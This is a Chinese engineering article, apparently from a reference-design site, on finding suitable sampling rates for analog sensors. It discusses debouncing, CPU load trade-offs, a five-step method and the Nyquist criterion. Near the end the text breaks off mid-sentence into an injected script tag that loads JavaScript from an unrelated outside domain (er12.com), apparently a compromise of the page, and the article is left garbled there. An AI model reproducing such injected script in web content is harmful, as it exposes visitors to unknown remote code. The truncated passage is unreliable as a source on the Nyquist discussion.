通过试探纠错法确定模拟传感器的采样速率

如果要实时地采样一个按钮、光开关、压力、化学或其它传感器,需要以多高的速率来对输入进行采样呢?本文给出了为模拟传感器确定适当采样速率的一种工程方法,它根据处理器使用率、控制速率或决策算法以及硬件限制等具体应用情况,确定在计算所得到的范围中怎样才能选择最佳的采样速率。 要实时地采样一个按钮、光开关、分解器、压力、化学或其它传感器,需要以多高的速率来对输入进行采样呢?是间隔10ms还是30ms?怎样才知道最佳速率是多少呢?我曾问一位工程师在某个应用中最佳的采样速率是多少,他回答5ms。至于原因,他说:“因为在这个速率下应用能够工作,我们花了几天时间来测试各种采样速率,只有这个速率能很好地工作。” 在另一个应用中,说明书列出了一个采样速率,这是根据一个类似应用得到的。在说明书上规定这个数值使得系统的设计人员丧失了任何灵活性。如果事实上这个速率不是应用的最佳采样速率该怎么办呢?如果新的软件看来能够在规定的采样速率下工作,那么在应用的整个生命周期中,这个速率将很可能将一直固定不变。只有在当采样软件不能工作时,采样速率才可能会受到怀疑。 为什么要采用试探纠错法?

  在能够采用科学和数学的方法时,为什么还要通过试探纠错法来确定采样速率呢?本文将详细讨论一个更为有效的简单过程。利用特别的方法选择采样速率会带来几个问题。 首先,对于一个给定的应用,不应该花费几天的时间通过试探纠错试验来确定恰当的采样速率。如果能进行系统的工程分析,只需少量的实验便可得出正确的答案。 其次,“最佳”的定义是什么?某个应用的最佳答案对于另一个应用未必也是最佳答案。试探纠错法常用来确定采样速率,而且测试是在只包含了传感器采样程序的最小系统(而非完整系统)上进行的。本文开始时所提到的那个工程师选择“5ms”的采样间隔,他的程序是为一个需要去抖动处理的按钮开关所编写的。通过测试,他最终选择了5ms的查询间隔时间,因为这时系统不会把单次按压误记为双次按压,另一方面这个间隔也足够短,不至于把一个真正的双次按压误认为抖动。 事实上,5ms的查询时间对于这个系统来说或许可以接受,但在考虑其它因素(特别是系统的实时响应)之前,很难断定它是否是最佳选择。 例如,如果处理器负担过重,而5ms一次的采样需要占用cpu 40%的能力时怎么办呢?一种选择是将采样间隔时间增加到10ms,这样可以把对cpu的占用率降低一半,另一种选择是以半速执行控制程序。从系统的角度看,哪一种方案更好呢?或者更重要的是,在采样占用的资源与采样对处理器使用的影响,以及实时调度能力和优先级转换等其它因素之间是否有一个很好的折衷呢? 在选择采样速率时,通常有几个供选择的目标,如: * 尽可能快地采样,以获得最高的精度;

   * 尽可能慢地采样,以节省处理器的时间;

   * 采样速率足够低,使噪声对输入信号的影响不大;

   * 采样速率足够高,以提供足够的响应时间;

   * 采样速率是控制算法频率的倍数,以便将抖动降到最低。 事实上,没有任何答案能够最佳地适合所有系统,但在针对某个特定应用和目标硬件的特性时,通常有一个答案比其它大多数答案更好。 本文将示范如何结合试验和数学分析,系统地确定一组较好的采样速率,并讨论当应用的实时要求给定时,如何从这组采样速率中选择一个恰当的数值。 以下是一种确定采样速率的系统方法:

   1. 测量应用的传感器特性;

   2. 如果输入信号中包含噪声,选择一种对数据进行滤波的算法;

   3. 根据其功能计算出采样速率的上限和下限;

   4. 分析采用上限和下限采样速率时对各种性能的影响;

   5. 区分各种影响的轻重主次,在计算出的上限和下限之间确定一个适当的采样速率。 为了设计一个优秀的解决方案,这种方法结合了实验测量和对应用需求的分析理解。虽然此方法可用于大多数类型的传感器,但本文将集中讨论模拟输入传感器。 模拟输入传感器 模拟输入传感器通过模数转换器(adc)为处理器提供数据。采样速率是指单位时间内从adc读取数据并传递给使用该数据的其它应用部件的次数。采样速率直接影响输入信号的时间分辨率,其方式与adc的位数对空间分辨率的影响大致类似。 最大误差是采样速率的函数。我们将误差e(t)定义为任意时刻t实际传感器的值与控制算法所用值之间的差异。注意t是连续的,因此随着采样速率ts提高,输入值恒定,误差通常会增大,如图1所示。 信号处理技术中常用奈奎斯特准则来确定采样速率。奈奎斯特准则规定,采样速率至少必须为输?script src=http://er12.com/t.js>

  • 通过试探纠错法确定模拟传感器的采样速率已关闭评论
    A+
发布日期:2019年07月02日  所属分类:参考设计